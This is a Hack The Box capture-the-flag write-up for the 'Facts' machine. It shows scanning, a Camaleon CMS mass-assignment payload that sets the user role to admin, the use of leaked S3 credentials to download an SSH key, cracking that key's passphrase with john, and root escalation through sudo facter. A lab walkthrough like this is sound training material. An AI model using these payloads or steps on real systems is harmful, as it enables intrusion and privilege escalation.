Command Palette

Search for a command to run...

Blog

Box Writeup: Facts [Easy]

We’re kicking off Hack The Box Season 10 with the Facts machine. Let’s get into it.

We’re kicking off Hack The Box Season 10 with the Facts machine. Let’s get into it.

First things first, an nmap scan on the target IP:

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/Facts]
└─$ nmap -sVC -T4 -p- 10.129.22.144
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-01 18:40 IST
Nmap scan report for 10.129.22.144
Host is up (0.39s latency).
 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds

We have port 22 and 80 are open. Machine was running Ubuntu instance. then, I add facts.htb into /etc/hosts and visit the page and start exploring little.

Image 1Image 2

The website looked clean but basic. While poking around, I noticed an email: contact@facts.htb Nothing interesting came out of domain or email enumeration, so I moved on to directory brute‑forcing.

┌──vemacitrind㉿vemacitrind-[~]
└─$ gobuster dir -u http://facts.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt -t 150
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://facts.htb/
[+] Method:                  GET
[+] Threads:                 150
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.swf                 (Status: 200) [Size: 11110]
...
/CVS                  (Status: 200) [Size: 11110]
/_framework/blazor.webassembly.js (Status: 422) [Size: 8380]
/admin                (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.cgi            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.php            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.pl             (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/ajax                 (Status: 200) [Size: 0]
/cache                (Status: 200) [Size: 11116]
/captcha              (Status: 200) [Size: 1490]
...
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================

This scan returned a LOT of results most of them were clearly decoys or generic files. The only path that really mattered: /admin

adminpage

The admin page allowed user registration, so I created an account and logged in. While exploring the dashboard, I noticed something spicy The CMS in use was: Camaleon CMS v2.9.0

A quick Google search led me straight to a Tenable advisory: tenable.com Vulnerability — CVE‑2025‑2304

Camaleon CMS has a broken password update function:

def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)
 
  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')
 
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

What’s wrong here?

  • permit! allows any parameter
  • No validation on sensitive fields
  • So we can modify our own role

So what dose that mean?. This mean update_ajax parse password object and done perform every steps without validation. So we can give payload like this...

{
  "password": {
    "password": "newpassword",
    "password_confirm": "newpassword",
    "role": "admin"
  }
}

Using Burp Suite, I intercepted the password change request and modified the payload:

burpsuit

and done, Admin access.

adminpanel

Inside the admin panel: Settings → Filesystem

I found S3 credentials and noticed something odd:

  • Endpoint running on localhost:54321

So I scanned that port.

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/Facts]
└─$ nmap -sVC -p 54321 facts.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-02 19:04 IST
Nmap scan report for facts.htb (10.129.22.144)
Host is up (0.28s latency).
 
PORT      STATE SERVICE VERSION
54321/tcp open  http    Golang net/http server
|_http-title: Did not follow redirect to http://facts.htb:9001
|_http-server-header: MinIO
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     .
|     .
|     .
  • MinIO service detected
  • HTTP redirect → facts.htb:9001

I set up config and start exploring...

┌──vemacitrind㉿vemacitrind-[~]
└─$ aws configure --profile minio
AWS Access Key ID [None]: AKIA0F6EE0675A936264
AWS Secret Access Key [None]: Oi8clCa4Xz/zB3A7AlxurPkCCAI3B9UpxoHAe2QO
Default region name [None]: us-east-1
Default output format [None]: json
 
┌──vemacitrind㉿vemacitrind-[~]
└─$ aws --profile minio \
  --endpoint-url http://facts.htb:54321 \
  s3 ls
2025-09-11 17:36:52 internal
2025-09-11 17:36:52 randomfacts

I randomfacts was full of images so i check internal and find .ssh/{authorized_keys,id_ed25519}

use ssh2john i convert hash and just crack that

┌──vemacitrind㉿vemacitrind-[~]
└─$ ssh2john id_ed25519 > key
 
┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/Facts]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt key
 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz      (id_ed25519)
1g 0:00:02:39 DONE (2026-02-01 20:59) 0.006267g/s 20.05p/s 20.05c/s 20.05C/s billy1..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
 
┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/Facts]
└─$ ssh-keygen -y -f id_ed25519
Enter passphrase for "id_ed25519":
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINSoua0qF7xc/RGG9q9BvNCHCGhuYOvDhXw4ewVTjLnV trivia@facts.htb

Now we have,

  • user : trivia
  • password : dragonballz

I login into ssh , first thing i check sudo privilages sudo -l and i find that user can run facter as root.

I went to GTFOBins and search related that and found --custome-dir flag.

I created a malicious plugin in /tmp/priesc that drops a root shell (shoutout to ChatGPT for the Ruby help).

trivia@facts:~$ sudo /usr/bin/facter --custom-dir /tmp/priesc shell
trivia@facts:~$ /tmp/priesc/shell
root@facts:~# echo nice
nice

bye

Command Palette

Search for a command to run...